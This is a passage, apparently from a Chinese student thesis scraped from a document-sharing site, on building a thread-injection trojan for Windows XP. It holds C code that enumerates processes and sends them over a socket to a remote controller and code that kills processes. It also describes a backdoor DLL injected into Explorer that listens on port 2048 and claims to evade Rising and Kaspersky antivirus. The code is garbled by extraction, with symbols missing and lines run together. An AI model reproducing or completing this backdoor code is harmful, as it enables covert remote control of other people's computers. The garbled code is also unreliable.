56、ize = sizeof(pe32); / 给系统内的所有进程拍一个快照 HANDLE hProcessSnap = :CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); BOOL bMore = :Process32First(hProcessSnap, char sz32=; send(clientFD,进程 ID 号: ,strlen(进程 ID 号: ), 0); send(clientFD,进程名称:nr,strlen(进程名称:nr),0); while(bMore) itoa(pe32.th32ProcessID,sz,10); se

57、nd(clientFD,sz,strlen(sz),0); char ko1024;int i,k; k=strlen(进程 ID 号: )-strlen(sz); for(i=0;ik;i+) koi= ; send(clientFD,ko,k,0); MODULEENTRY32 me32 = 0 ; / 在本进程中拍一个所有模块的快照 HANDLE hModuleSnap = :CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe32.th32ProcessID); / 遍历快照中记录的模块 me32.dwSize = sizeof(MODULEEN

58、TRY32); if(:Module32First(hModuleSnap, :CloseHandle(hModuleSnap); else send(clientFD,pe32.szExeFile,strlen(pe32.szExeFile),0); send(clientFD,nr,sizeof(nr),0); bMore = :Process32Next(hProcessSnap, 4.3.3 杀死进程杀死进程 杀死目标进程,是利用 API 函数 TerminateProcess() ,具体代码如下所示: HANDLE hProcess=NULL; hProcess=OpenProces

59、s(PROCESS_ALL_ACCESS,FALSE,pid); TerminateProcess(hProcess,0); CloseHandle(hProcess); 4.3.4 后门模块后门模块 这是 dlltest.dll 中最重要的一个模块,完成了后门功能和大部分的远程控制 功能。此模块作为一个单独的线程运行,会在本机 2048 端口监听,等待连接。 当连接成功并通过密码验证后等待客户端命令,直到客户端退出。 密码验证代码: while(lBytesRead” ,此时输入“?”会出现帮助菜单,或者输入控制命令来 图 7 捆绑后的木马 控制远程主机。最后输入“quit”退出。 经多次测

60、试,此程序能运行正常,基本没有 bug,且能逃过瑞星、卡巴斯 基等杀毒软件的查杀。测试结果如表 1: 结结 论论 黑客技术在当今受到越来越受到关注,但是一把“利器”在英雄手里就是“斩 妖除魔”宝剑,在魔鬼手里就是“掀风作乱”的工具。在这里只是对技术进行探讨。 研究木马不是为了学会攻击他人,而是在研究木马的同时,学会怎么保护自己。 本文阐述了木马的基本原理和发展方向。重点研究了线程插入式木马的实 现,本木马实现了将封装成dll的木马后门插入EXPLORER进程,并且在2048端 口监听。本文在木马隐藏部分作了一些研究,具有较好的隐藏能力。 本次设计在 Windows XP 系统下,在 Visua

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论